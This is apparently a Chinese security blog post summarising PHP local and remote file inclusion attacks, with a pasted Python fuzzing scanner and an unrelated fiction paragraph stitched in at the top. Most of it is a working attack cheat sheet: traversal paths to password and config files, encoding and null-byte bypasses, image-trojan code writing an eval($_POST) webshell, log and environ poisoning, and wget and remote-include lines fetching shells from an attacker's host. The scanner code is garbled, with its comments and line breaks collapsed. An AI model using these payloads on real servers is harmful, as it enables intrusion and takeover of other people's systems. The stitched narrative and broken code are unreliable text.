title: 文件包含[汇总]
copyright: true
top: 0
date: 2018-08-08 09:27:45
tags: 文件包含漏洞
categories: 渗透测试
permalink:
password:
keywords:
description: 文件包含漏洞

他沿着墙壁漫步,手指扫过满是灰尘的灶台;打开冰箱,里面只剩下一纸盒过期的酸奶。窗帘很没,是白色的蕾丝纱帘和深青色的绒帘,住在这样屋子里的人当然会很在意窗帘吧?连台电视都没有,于是一个人的时候会常常坐在床上看着夕阳落下吧?夜深的时候得把窗户遮得严严实实的吧?否则……会害怕吧?

漏洞原理

文件包含就是一个文件里面包含另外一个文件,这么说吧,比如在Python中的import其他的包,PHP中inclued其他的文件,因为过程中过滤不严格导致包含漏洞的产生,这种文件调用的过程一般被称为文件包含漏洞。

由于这种灵活性,从而导致客户端可以调用一个恶意文件,传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入,造成文件包含漏洞。

主要在PHP中产生比较多,本文详细介绍PHP的包含漏洞

PHP中包含其他文件的函数有这些,在做代码审计需要用到和记住

include() //当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once() //功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
require()//只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require_once()//的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
fopen()//打开指定的某个文件
readfile()//读取指定的文件

关于PHP的常见函数在之前的笔记有提及,可以回顾复习。地址

php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。

漏洞利用条件:

1. include 等函数通过动态执行变量的方式引入需要包含的文件;
2. 用户能控制该动态变量。

漏洞分类:

文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。

1. 本地文件包含 LFI(Local File Include)2. 远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)

在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off,一般来说远程文件(包括本地文件包含)包含比本地文件包含的危害大。

漏洞利用

本地包含漏洞案例(LFI)

新建一个phpinfo.txt,然后新建一个shell.php,写入:

<?phpInclude("phpinfo.txt");
?>

访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

本地包含漏洞利用

读取敏感信息

比如:

http://www.xxx.com/index.php?page=/etc/passwd

Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

LINUX:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相关设置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                                              mysql配置文件

目录遍历

比如:

http://www.xxx.com/index.php?page=./../../test.txt./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件

文件上传拿shell

上传一个图片木马a.jpg,内容为:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

访问URL:

http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:

http://www.xxx.com/<?php eval([$_POST]);?>

则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。默认情况下,日志保存路径在 /var/log/apache2/。

利用条件:需要知道服务器日志的存储路径,且日志文件可读。

提交如下请求,将 payload 插入日志

可以尝试利用 UA 插入 payload 到日志文件

默认日志地址:

apache+Linux 日志默认路径

/etc/httpd/logs/access_log或者/var/log/httpd/access log

apache+win2003 日志默认路径

D:/xampp/apache/logs/access.logD:/xampp/apache/logs/error.log

IIS6.0+win2003 默认日志文件

C:/WINDOWS/system32/Logfiles

IIS7.0+win2003 默认日志文件

%SystemDrive%/inetpub/logs/LogFiles

nginx 日志文件在用户安装目录的 logs 目录下

如安装目录为 /usr/local/nginx,则日志目录就是在

/usr/local/nginx/logs

也可通过其配置文件 Nginx.conf,获取到日志的存在路径

/opt/nginx/logs/access.log

web 中间件默认配置地址

apache+linux 默认配置文件

/etc/httpd/conf/httpd.conf或者index.php?page=/etc/init.d/httpd

IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件

C:/Windows/System32/inetsrv/config/application/Host.config

利用/proc/self/environ进行包含

利用条件:

1. php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
2. environ 文件存储位置已知,且 environ 文件可读。

proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可

比如:

http://www.test.com/view.php?page=../../../../proc/self/environ
路径不知道试一试
http://www.test.com/view.php?page=../../../../../../../proc/self/environ

选择 User-Agent 写代码如下:

<?system('wget http://www.你的域名.com/oneword.txt -O shell.php');?>

这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

<?phpInclude  $_GET['page'].".php"
?>

(一)00截断包含

新建1.jpg:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

这样的话比如上传一个1.jpg图片马,则访问

http://www.xxx.com/1.jpg

其实这个时候访问的是1.jgp.php,因为没有这个文件所以报错。这是,可以尝试访问

http://www.xxx.com/1.jpg%00

新建a.txt:

<?php
include($_GET['a'].'.php')
?>

上传我们的 2.txt 文件,请求

http://localhost/test/1.php?a=2.txt%00

即可执行 2.txt 中 phpinfo 的代码

(二)使用长目录截断

?page=././././././././././././././etc/passwd
或者
?page=etc/passwd
或者
?page=../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
或者
?page=../../../../../../../../../var/www/%00

服务器端常常会对于 …/ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。

利用 url 编码:

../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\

二次编码:

../ -》 %252e%252e%252f..\ -》 %252e%252e%255c

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

远程包含漏洞案例

新建php.txt:

<?phpecho "hello world";
?>

新建index.php:

<?phpInclude($_GET['page']);
?>

随后访问

http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

远程包含漏洞利用

远程包含shell

新建test.txt文件,保存在你自己远程服务器上,内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

如果目标网站存在远程包含漏洞,则可以通过访问:

http://www.xxx1.com/index.php?page=http://www.你的域名.com/test.txt则会在服务器根目录下生产一个shell.php内容为:<?php   eval($_POST[x]);?>

利用php协议进行包含

漏洞应用条件:

data:  php5.2以后版本
php://input  需要开启allow_url_include

poc:

http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

扫描器代码检测

原地址

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具
import re
import urlparse
import urllib
import os# 此函数会在爬虫扫描过程中调用,为任务派遣函数
def assign(service, arg):# 只接收链接if service != "www": return# 分析链接,看有没有查询参数r = urlparse.urlparse(arg)pairs = urlparse.parse_qsl(r.query)# 如果参数过多,超过6个,效率起见,放弃此链接if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:return# 返回True表始接收任务,arg是要调度器传给audit函数的参数return True, arg# 远程文件包含的FUZZ函数
def check_rfi(action, query, k, v, normal_res):# 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传for i in range(2):# 网上总结的一组经典列表,以(路径,签名)做列表paths = [('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),('http://cirt.net/rfiinc.txt?', '<title>phpinfo'),('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),]for inj, fingerprint in paths:qsl = []# 第一轮fuzz,完整提交全部参数if i == 0:for key, val in query:# 如果参数key为要fuzz的,替换为路径val = inj if (key==k) else valqsl.append((key, val))else:# 第二轮fuzz, 只提交要fuzz的参数,其它不提交qsl.append((k, inj))# 经合成URLqs = urllib.urlencode(qsl)url = '%s?%s' % (action, qs)# 发送请求code, head, res, _, _ = curl.curl(url)debug('[%03d] %s', code, url)# 开始查询是否包含签名内容, 如<?php <%# 如果指定的签名在fuzz过程中找到,而没有在正常的网页里找到,说明漏洞存在if re.search(fingerprint, res) and (not re.search(fingerprint, normal_res)):# 记录一个报告security_warning(url)# 中断fuzzreturn True# 本地文件包含的fuzz函数
def check_lfi(action, query, k, v, files, suffix, flags):filter = {}# 默认情况下,只测试两轮,像远程文件包含一样loop = 2# 如果参数有文件后缀,测试三轮,第三轮测试文件后缀截断漏洞(附加%00)if suffix:loop = 3# 开始fuzzfor i in range(loop):for file in files:# 如果是第三轮,循环以0开头(0,1,2), 在后缀后加上\x00测试是否有文件名截断漏洞if i == 2:file += '\x00.' + suffix# 构造查询结构qsl = []# 第一轮,提交全部参数if i == 0:for key, val in query:val = file if (key==k) else valqsl.append((key, val))# 第二轮,只提交FUZZ的参数else:# next loop only test one argmentsqsl.append((k, file))# 构造URLqs = urllib.urlencode(qsl)url = '%s?%s' % (action, qs)# 这里加了一个过滤器,防止产生重复的URLif url not in filter:filter[url] = True# 请求URLcode, head, res, _, new_url = curl.curl(url)debug('[%03d] %s', code, url)# 开始查询是否包含签名内容, 如<?php <%for w in flags:if re.search(w, res):# 发现漏洞,上传报告,并返回security_warning(url)return Truedef audit(arg):# arg为assign传过来的链接,为一个带参数查询的URLurl = argr = urlparse.urlparse(url)# 取出?号前面的地址action = urlparse.urlunsplit((r.scheme, r.netloc, r.path, '', ''))# 取出参数的keypairs = urlparse.parse_qsl(r.query)# 以下参数,为.NET的内置参数,自动跳过,不判断reject_key = ['__VIEWSTATE', 'IbtnEnter.x', 'IbtnEnter.y']# 请求action, 保存一个返回内容的快照到normal_rescode, head, normal_res, _, _ = curl.curl(action)# 尝试每个参数是否有远程文件包含漏洞for k, v in pairs:# 跳过指定的内置参数if k in reject_key:continue# 如果发现参数有漏洞,返回if check_rfi(action, pairs, k, v, normal_res):return# 尝试每个参数是否有本地文件包含读取漏洞, 以当前文件名做为包含文件,传递# 获取当前URL的快照,搜索内容来获取有效的用来判断是否利用成功的签名,如:<?php, <%code, head, res, _, _ = curl.curl(url)flags = []for w in ['<\?[\r\n\s=]', '<\?php[\r\n\s=]', '<%[\r\n\s@]']:if not re.search(w, res):flags.append(w)# 没有找到可以使用的签名,返回if not flags:returnpaths = ['.', '..', '../..', '../../..', '../../../..', '../../../../..']files = []# 获取URL的文件名filename = r.path.split('/')[-1]# 保存到要fuzz的文件列表里files.append(filename)# 保存一组递归目录列表,如./a.php, ../a.php, ../../a.phpfor path in paths:files.append(path + '/' + filename)# 保存一组递归的完整文件列表如, /../news/show.php, /../../news/show.phpfor path in paths:files.append(path + r.path)# 开始遍历参数进行fuzzfor k, v in pairs:# 跳过内置的参数if k in reject_key:continue# 如果参数值里面找到类似a.jpg这样文件名特征, 获取文件后缀到suffix里面去suffix = ''if v.find('.') != -1:suffix = v.split('.')[-1]# 开始fuzz本地文件包含漏洞if check_lfi(action, pairs, k, v, set(files), suffix, flags):return# 测试代码开始
if __name__ == '__main__':# 调入SDK模拟环境from dummy import *# 模拟调试器传入参数,测试审计函数audit(assign('www', 'http://demo.webravor.com/kj.jsp?url=lionsky.txt')[1])

欢迎关注公众号:【安全研发】获取更多相关工具,课程,资料分享哦~

渗透测试之文件包含[汇总]相关推荐

  1. tomcat temp 大量 upload 文件_渗透测试之文件上传漏洞总结

    文末下载上传环境源码 客户端 js检查 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 查看源代码可以看到有如下代码对上传文件类型进行了限制: 我们 ...

  2. 网络安全与渗透:文件包含漏洞(十一)此生无悔入华夏,男儿何不带吴钩

    中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...

  3. 渗透测试之文件上传漏洞

    文件上传漏洞 理论: 文件上传: 用户提交文件到web服务器. 文件上传本身没有问题,问题是文件被上传到哪里,上传之后,服务器如何处理.解释文件. 文件上传漏洞产生的原因; web服务器的文件上传功能 ...

  4. WEB渗透之文件包含漏洞

    1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 1.web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用i ...

  5. web渗透之文件包含漏洞-学习笔记分享

    文件包含 这里偷用一下老师名言:该文章仅用于个人学习与总结.请勿用于未授权的违法攻击!!用户滥用造成的一切后果自负!!学习者请务必遵守当地法律!! 1.首先什么是文件包含.         就是去其他 ...

  6. 渗透测试-文件包含漏洞

    文件包含漏洞 文章目录 文件包含漏洞 前言 一.什么是文件包含漏洞 二.文件包含漏洞获取shell 1.文件包含漏洞的分类 2.利用漏洞获取shell 总结 前言 一.什么是文件包含漏洞 服务器通过p ...

  7. 文件包含漏洞特点和php封装伪协议

    渗透学习 文件包含漏洞 文章目录 渗透学习 前言 *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任.* 一.文件包含漏洞 二.实验步骤 1.文件包含特点 2.本 ...

  8. 【渗透测试】—如何利用文件包含的方式进行攻击

    目录 4.9. 文件包含 4.9.1. 基础 4.9.2. 触发Sink 4.9.3. 绕过技巧 4.9.3.1. url编码绕过 4.9.3.2. 特殊字符绕过 4.9.3.3. %00截断 4.9 ...

  9. 渗透测试-文件上传/下载/包含

    渗透测试-文件上传/下载/包含 概述 一.常见校验上传文件的方法 客户端校验 服务器端校验 1.校验请求头 content-type字段 2. 正则匹配来判断文件幻数(文件头)内容是否符合要求 3. ...

最新文章

  1. sass @function,@for,@mixin 的应用
  2. Nginx重写规则指南
  3. 缓冲区分析—ArcGIS API for JavaScript
  4. CF 4B. Before an Exam
  5. Hadoop Snappy安装终极教程
  6. 如何使用谷歌云盘下载Kaggle数据集+解压
  7. JFlash软件解锁GD32MCU
  8. Spring Boot入门教程(零): yaml使用详解
  9. Java IO基础详解
  10. 计算机音乐红色彼岸花,红色彼岸花 - 刘雨Key - 5SING中国原创音乐基地
  11. 友盟php接入统计,Android应用中添加友盟统计_PHP教程
  12. cdh 添加jar包_hive引入jar包--HIVE.AUX.JARS.PATH和hive.aux.jars.path
  13. 解决项目中使用kotlin不能直接引用xml中id
  14. 人工智能已经成为新一轮科技革命和产业变革的重要驱动力量
  15. 2019年8月,微信朋友圈发长文字防止被折叠成一行的方法
  16. JavaScript Array --map()、filter()、reduce()、forEach()函数的使用
  17. Python 入门指南第三节 | Python 简介
  18. c语言表达式的类型,C语言_类型、运算符与表达式
  19. android studio 排除,Android Studio从构建中排除类?
  20. Lion的无线网络诊断工具

热门文章

  1. RobotStudio 快捷键
  2. [转]DIV布局兼容“武林秘诀”
  3. 时间计算题100道_软考学习第20天-----软考综合考试的计算题
  4. 非主流,wake up,你们是这个社会的未来
  5. Wireshark-Windows10下载安装
  6. rocketmq源码分析
  7. Java 实例 - 在指定目录中查找文件
  8. translator
  9. 省钱小妙招之50行python代码给你制作一个证件照
  10. 绝地求生测试服画面优化软件,绝地求生大逃杀画面优化设置攻略 绝地求生大逃杀画面怎么设置...